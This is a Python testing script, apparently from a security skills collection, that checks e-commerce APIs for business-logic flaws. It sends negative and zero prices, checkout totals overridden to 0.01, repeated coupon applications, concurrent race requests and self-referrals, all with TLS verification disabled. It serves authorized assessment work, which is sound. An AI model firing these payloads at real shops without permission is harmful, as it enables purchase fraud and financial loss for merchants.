Anthropic-Cybersecurity-Skills/skills/testing-for-business-logic-vulnerabilities/scripts/agent.py

#!/usr/bin/env python3
"""Agent for testing business logic vulnerabilities during authorized assessments."""

import requests
import json
import argparse
import urllib3
import threading
from datetime import datetime
from urllib.parse import urljoin

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def test_price_manipulation(base_url, token, cart_endpoint="/api/cart/add"):
    """Test price and quantity manipulation in purchase flows."""
    print("\n[*] Testing price/quantity manipulation...")
    findings = []
    headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
    url = urljoin(base_url, cart_endpoint)
    test_cases = [
        {"name": "negative_quantity", "payload": {"product_id": 1, "quantity": -1}, "severity": "CRITICAL"},
        {"name": "zero_price", "payload": {"product_id": 1, "quantity": 1, "price": 0}, "severity": "CRITICAL"},
        {"name": "float_quantity", "payload": {"product_id": 1, "quantity": 0.001}, "severity": "HIGH"},
        {"name": "huge_quantity", "payload": {"product_id": 1, "quantity": 999999999}, "severity": "HIGH"},
        {"name": "negative_price", "payload": {"product_id": 1, "quantity": 1, "price": -99.99}, "severity": "CRITICAL"},
    ]
    for tc in test_cases:
        try:
            resp = requests.post(url, headers=headers, json=tc["payload"], timeout=10, verify=False)
            if resp.status_code in (200, 201):
                findings.append({
                    "type": "PRICE_MANIPULATION", "test": tc["name"],
                    "payload": tc["payload"], "status": resp.status_code,
                    "severity": tc["severity"],
                })
                print(f"  [!] {tc['name']}: Accepted (status {resp.status_code})")
            else:
                print(f"  [+] {tc['name']}: Rejected (status {resp.status_code})")
        except requests.RequestException as e:
            print(f"  [-] {tc['name']}: Error - {e}")
    return findings


def test_checkout_total_override(base_url, token, checkout_endpoint="/api/checkout"):
    """Test if the checkout total can be overridden in the request."""
    print("\n[*] Testing checkout total override...")
    findings = []
    headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
    url = urljoin(base_url, checkout_endpoint)
    payloads = [
        {"cart_id": "test", "total": 0.01, "payment_method": "card"},
        {"cart_id": "test", "total": 0, "payment_method": "card"},
        {"cart_id": "test", "amount": 0.01},
    ]
    for payload in payloads:
        try:
            resp = requests.post(url, headers=headers, json=payload, timeout=10, verify=False)
            if resp.status_code in (200, 201):
                findings.append({
                    "type": "TOTAL_OVERRIDE", "payload": payload,
                    "status": resp.status_code, "severity": "CRITICAL",
                })
                print(f"  [!] Checkout accepted with total={payload.get('total', payload.get('amount'))}")
        except requests.RequestException:
            continue
    return findings


def test_coupon_reuse(base_url, token, coupon_endpoint="/api/cart/apply-coupon", code="DISCOUNT50"):
    """Test if a coupon can be applied multiple times."""
    print(f"\n[*] Testing coupon reuse ({code})...")
    findings = []
    headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
    url = urljoin(base_url, coupon_endpoint)
    success_count = 0
    for i in range(5):
        try:
            resp = requests.post(url, headers=headers, json={"coupon_code": code},
                                 timeout=10, verify=False)
            if resp.status_code in (200, 201):
                success_count += 1
        except requests.RequestException:
            break
    if success_count > 1:
        findings.append({
            "type": "COUPON_REUSE", "code": code, "times_applied": success_count,
            "severity": "HIGH",
        })
        print(f"  [!] Coupon applied {success_count} times!")
    else:
        print(f"  [+] Coupon properly limited")
    return findings


def test_workflow_bypass(base_url, token, steps):
    """Test if workflow steps can be skipped."""
    print("\n[*] Testing workflow step bypass...")
    findings = []
    headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
    for step in steps:
        url = urljoin(base_url, step["endpoint"])
        try:
            resp = requests.request(step.get("method", "POST"), url, headers=headers,
                                    json=step.get("payload", {}), timeout=10, verify=False)
            if resp.status_code in (200, 201):
                findings.append({
                    "type": "WORKFLOW_BYPASS", "step": step["name"],
                    "endpoint": step["endpoint"], "status": resp.status_code,
                    "severity": "HIGH",
                })
                print(f"  [!] Step '{step['name']}' bypassed (status {resp.status_code})")
            else:
                print(f"  [+] Step '{step['name']}' enforced (status {resp.status_code})")
        except requests.RequestException:
            continue
    return findings


def test_race_condition(base_url, token, endpoint, payload, concurrent=10):
    """Test for race conditions by sending concurrent requests."""
    print(f"\n[*] Testing race condition on {endpoint} ({concurrent} concurrent requests)...")
    findings = []
    headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
    url = urljoin(base_url, endpoint)
    results = []

    def send_request():
        try:
            resp = requests.post(url, headers=headers, json=payload, timeout=10, verify=False)
            results.append({"status": resp.status_code, "body": resp.text[:200]})
        except requests.RequestException:
            results.append({"status": 0, "body": "error"})

    threads = [threading.Thread(target=send_request) for _ in range(concurrent)]
    for t in threads:
        t.start()
    for t in threads:
        t.join()

    successes = sum(1 for r in results if r["status"] in (200, 201))
    if successes > 1:
        findings.append({
            "type": "RACE_CONDITION", "endpoint": endpoint,
            "concurrent": concurrent, "successes": successes, "severity": "CRITICAL",
        })
        print(f"  [!] {successes}/{concurrent} requests succeeded (potential race condition)")
    else:
        print(f"  [+] {successes}/{concurrent} succeeded (properly serialized)")
    return findings


def test_self_referral(base_url, token, referral_endpoint="/api/referrals/invite", email="self@test.com"):
    """Test if self-referral is possible."""
    print("\n[*] Testing self-referral...")
    headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
    url = urljoin(base_url, referral_endpoint)
    try:
        resp = requests.post(url, headers=headers, json={"referral_email": email},
                             timeout=10, verify=False)
        if resp.status_code in (200, 201):
            print(f"  [!] Self-referral accepted")
            return [{"type": "SELF_REFERRAL", "severity": "MEDIUM"}]
        else:
            print(f"  [+] Self-referral blocked (status {resp.status_code})")
    except requests.RequestException:
        pass
    return []


def generate_report(findings, output_path):
    """Generate business logic vulnerability report."""
    report = {
        "assessment_date": datetime.now().isoformat(),
        "total_findings": len(findings),
        "by_type": {},
        "findings": findings,
    }
    for f in findings:
        t = f.get("type", "UNKNOWN")
        report["by_type"][t] = report["by_type"].get(t, 0) + 1
    with open(output_path, "w") as fh:
        json.dump(report, fh, indent=2)
    print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")


def main():
    parser = argparse.ArgumentParser(description="Business Logic Vulnerability Testing Agent")
    parser.add_argument("base_url", help="Base URL of the target application")
    parser.add_argument("--token", required=True, help="Bearer token for authentication")
    parser.add_argument("--cart-endpoint", default="/api/cart/add")
    parser.add_argument("--checkout-endpoint", default="/api/checkout")
    parser.add_argument("--coupon-code", default="DISCOUNT50")
    parser.add_argument("-o", "--output", default="business_logic_report.json")
    args = parser.parse_args()

    print(f"[*] Business Logic Vulnerability Assessment: {args.base_url}")
    findings = []
    findings.extend(test_price_manipulation(args.base_url, args.token, args.cart_endpoint))
    findings.extend(test_checkout_total_override(args.base_url, args.token, args.checkout_endpoint))
    findings.extend(test_coupon_reuse(args.base_url, args.token, code=args.coupon_code))
    findings.extend(test_race_condition(args.base_url, args.token,
                                        args.cart_endpoint, {"coupon_code": args.coupon_code}))
    findings.extend(test_self_referral(args.base_url, args.token))
    generate_report(findings, args.output)


if __name__ == "__main__":
    main()